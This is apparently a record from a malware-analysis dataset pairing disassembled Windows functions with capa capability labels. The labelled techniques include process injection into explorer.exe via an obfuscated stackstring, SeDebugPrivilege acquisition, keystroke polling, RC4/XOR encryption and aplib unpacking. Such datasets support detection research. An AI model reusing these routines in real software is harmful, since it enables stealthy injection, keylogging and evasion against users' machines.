joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403070
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push 0
call fcn.004030f0
add esp, 4
push eax
call dword [sym.imp.MSVCR90.dll_srand]
add esp, 4
lea ecx, [ebp - 8]
push ecx
push 0x40
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0xc], 0
jmp 0x4030b6
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jge 0x4030d6
call dword [sym.imp.MSVCR90.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov byte [eax], dl
jmp 0x4030ad
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret

Function at 0x40bc40
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0x10]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x40bc68
xor eax, eax
jmp 0x40bd2d
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp dword [edx], 0x4550
je 0x40bc86
xor eax, eax
jmp 0x40bd2d
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x78]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp + 8]
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], 0
jmp 0x40bcaa
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
cmp edx, dword [ecx + 0x14]
jae 0x40bd2b
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x20]
mov edx, dword [ebp - 0x14]
lea eax, [ecx + edx*4]
add eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
add eax, dword [edx]
push eax
call sub.MSVCR90.dll_strcmp
add esp, 8
test eax, eax
jne 0x40bd26
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x14]
lea ecx, [edx + eax*2]
add ecx, dword [ebp + 8]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
movzx eax, word [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
add eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
add edx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp + 8]
mov edx, dword [ebp + 0x14]
mov dword [edx], ecx
mov eax, 1
jmp 0x40bd2d
jmp 0x40bca1
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x42eb50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x432598]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0x44
push 0x40
push 0
lea eax, [ebp - 0x6c]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x78
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x78
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x70]
push edx
push 0
push 0
push 0x8000044
push 0
push 0
push 0
push 0x433048
push 0
call dword [0x433264]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x24]
mov dword [0x4334a0], ecx
push 0x433268
call fcn.0042dfd0
mov edx, dword [0x4332e8]
sub edx, dword [0x4332e4]
mov dword [ebp - 0x28], edx
mov byte [ebp - 0x14], 0x6d
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x76
mov byte [ebp - 0x11], 0x63
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
push 0x40
push 0x1000
mov eax, dword [ebp - 0x28]
push eax
push 0
mov ecx, dword [0x4334a0]
push ecx
call dword [0x4335e4]
mov dword [0x43314c], eax
push 0x40
push 0x1000
push 0x432f40
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
push 0
mov edx, dword [0x4334a0]
push edx
call dword [0x4335e4]
mov dword [0x433254], eax
push 0x40
push 0x1000
lea eax, [ebp - 0x14]
push eax
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
push 0
mov ecx, dword [0x4334a0]
push ecx
call dword [0x4335e4]
mov dword [0x43325c], eax
call fcn.0042eaa0
call fcn.0042e690
push 0
push 0x432f40
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
push 0x432f40
mov edx, dword [0x433254]
push edx
mov eax, dword [0x4334a0]
push eax
call dword [0x43342c]
push 0
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
lea edx, [ebp - 0x14]
push edx
mov eax, dword [0x43325c]
push eax
mov ecx, dword [0x4334a0]
push ecx
call dword [0x43342c]
push 0
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [0x4332e4]
push eax
mov ecx, dword [0x43314c]
push ecx
mov edx, dword [0x4334a0]
push edx
call dword [0x43342c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042f526
mov esp, ebp
pop ebp
ret

Function at 0x42f526
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432598]
jne 0x42f530
repz ret
jmp fcn.0042f9d9
Function at 0x10996
Capabilities:
Create device object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0x10950
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x20], edx
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x22
lea ecx, [ebp - 0x24]
push ecx
push 0x14
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0x109df
mov eax, dword [ebp - 0x18]
jmp 0x10a54
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
or ecx, 4
mov edx, dword [ebp - 4]
mov dword [edx + 0x1c], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x28]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov dword [edx], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 8]
mov dword [ecx + 8], eax
push 0x10978
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x10]
mov dword [edx + 0x10], ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0x10a52
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, dword [ebp - 0x18]
jmp 0x10a54
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x1895058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x18951a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x189507e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x189506a
add dl, dl
jne 0x1895089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x18950dc
xor eax, eax
add dl, dl
jne 0x1895096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x189517d
add dl, dl
jne 0x18950a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18950b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18950bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18950c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x18950d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1895075
mov eax, 1
add dl, dl
jne 0x18950ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18950f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x18950e1
sub eax, ebx
mov ebx, 1
jne 0x1895128
mov ecx, 1
add dl, dl
jne 0x189510e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1895119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1895105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1895075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x189513f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x189514a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1895136
cmp eax, 0x7d00
jae 0x189516d
cmp eax, 0x500
jb 0x1895168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1895075
cmp eax, 0x7f
ja 0x1895170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1895075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x189519e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1895075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x428df5
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 8
call fcn.0047bebd
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.0047bebd
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x18], 0
push 0x10
call fcn.0047bebd
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x20], esp
mov eax, 6
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x428eb2
push 6
call fcn.0047bec9
add esp, 4
mov dword [ebp - 4], eax
mov eax, str.SeDebugPrivilege
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x428ecb
push ebx
call fcn.0047bec3
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0xc]
push eax
push 0x28
push dword [ebp - 4]
mov eax, 7
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x428efa
push 6
call fcn.0047bec9
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 0x10]
push dword [ebp - 8]
push 0x51b27b
mov eax, 8
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x428f24
push 6
call fcn.0047bec9
add esp, 4
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x14]
add ebx, 8
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x14]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x14]
add ebx, 0xc
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebx], 2
mov dword [ebp - 0x20], esp
mov eax, 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x1c]
push 0x1c
push dword [ebp - 0x14]
push 0
push dword [ebp - 0xc]
mov eax, 9
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x428fb8
push 6
call fcn.0047bec9
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], esp
push dword [ebp - 0xc]
mov eax, 0xa
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x428fdd
push 6
call fcn.0047bec9
add esp, 4
mov eax, dword [ebp - 0x18]
jmp 0x428fe5
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x428ff6
push ebx
call fcn.0047bec3
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.0047bec3
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.0047bec3
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
call fcn.0047bec3
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x477276
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 8
call fcn.0047bebd
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.0047bebd
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x18], 0
push 0x10
call fcn.0047bebd
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x20], esp
mov eax, 0x1d
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x477333
push 6
call fcn.0047bec9
add esp, 4
mov dword [ebp - 4], eax
mov eax, str.SeDebugPrivilege
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x47734c
push ebx
call fcn.0047bec3
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0xc]
push eax
push 0x28
push dword [ebp - 4]
mov eax, 0x1e
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x47737b
push 6
call fcn.0047bec9
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 0x10]
push dword [ebp - 8]
push 0x51b27b
mov eax, 0x1f
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x4773a5
push 6
call fcn.0047bec9
add esp, 4
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x14]
add ebx, 8
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x14]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x14]
add ebx, 0xc
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebx], 2
mov dword [ebp - 0x20], esp
mov eax, 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x1c]
push 0x1c
push dword [ebp - 0x14]
push 0
push dword [ebp - 0xc]
mov eax, 0x20
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x477439
push 6
call fcn.0047bec9
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], esp
push dword [ebp - 0xc]
mov eax, 0x21
call fcn.0047becf
cmp dword [ebp - 0x20], esp
je 0x47745e
push 6
call fcn.0047bec9
add esp, 4
mov eax, dword [ebp - 0x18]
jmp 0x477466
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x477477
push ebx
call fcn.0047bec3
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.0047bec3
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.0047bec3
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
call fcn.0047bec3
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x4883f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x51218b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00506940
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x488472
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.005042f0
mov eax, dword [eax]
push 0x56f234
push eax
call fcn.004f6234
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00506bcb
test bl, bl
je 0x488472
push 0x56f234
lea ecx, [esp + 0xc]
call fcn.00506f5b
push 0x572db4
lea ecx, [esp + 0xc]
call fcn.00506f5b
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4884ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00506bcb
jmp 0x488579
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x488532
lea edx, [esp + 0x7c]
push 0x572db0
push edx
call fcn.004f6234
add esp, 8
test eax, eax
je 0x488532
lea eax, [esp + 0x7c]
push 0x572dac
push eax
call fcn.004f6234
add esp, 8
test eax, eax
je 0x488532
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4884c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00506bcb
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x488d70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x488dd2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x488de0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x51220b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x581f08]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x488f18
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x488e46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00506bcb
xor eax, eax
jmp 0x488f8f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00506d08
push esi
lea ecx, [esp + 0xc]
call fcn.00506f97
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x488f6d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00488d70
test eax, eax
jne 0x488f6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00488d70
test eax, eax
jne 0x488f6d
lea eax, [esp + 0x14]
push 0x572dc8
push eax
call fcn.004f7300
mov esi, eax
add esp, 8
test esi, esi
jne 0x488f4c
lea ecx, [esp + 0x14]
push 0x572dc4
push ecx
call fcn.004f7280
mov esi, eax
add esp, 8
test esi, esi
jne 0x488f4c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x488f4f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00506cb8
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x488e5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00506bcb
xor eax, eax
jmp 0x488f8f
mov byte [esi], 0
push 0x572dc0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00506bcb
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4

Function at 0x492216
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
mov eax, dword [esi + 0x3ac]
test eax, eax
jne 0x49223e
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x3ac], eax
pop esi
add esp, 0x190
ret
Function at 0x49c380
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x49c3ee
cmp si, 0x69
ja 0x49c3ee
add esi, 0xffd0
cmp si, 0x11
je 0x49c3be
push 0x11
call edi
test ax, ax
jge 0x49c3be
or esi, 0x2000
cmp si, 0x10
je 0x49c3d3
push 0x10
call edi
test ax, ax
jge 0x49c3d3
or esi, 0x4000
cmp si, 0x12
je 0x49c3e8
push 0x12
call edi
test ax, ax
jge 0x49c3e8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x49c3fb
mov esi, 0xbd
jmp 0x49c3af
cmp si, 0x6e
jne 0x49c408
mov esi, 0xbe
jmp 0x49c3af
cmp si, 0x6f
jne 0x49c3a9
mov esi, 0xbf
jmp 0x49c3af

Function at 0x49dbb0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5928b8]
xor edx, edx
cmp eax, edx
jne 0x49dbd6
xor eax, eax
mov byte [eax + 0x5927b8], al
inc eax
cmp eax, 0x100
jl 0x49dbbe
mov dword [0x5928b8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5927b8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x49dc67
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x49dc3a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x49dc08
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x49dc70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x49dcc3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x49dcaa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret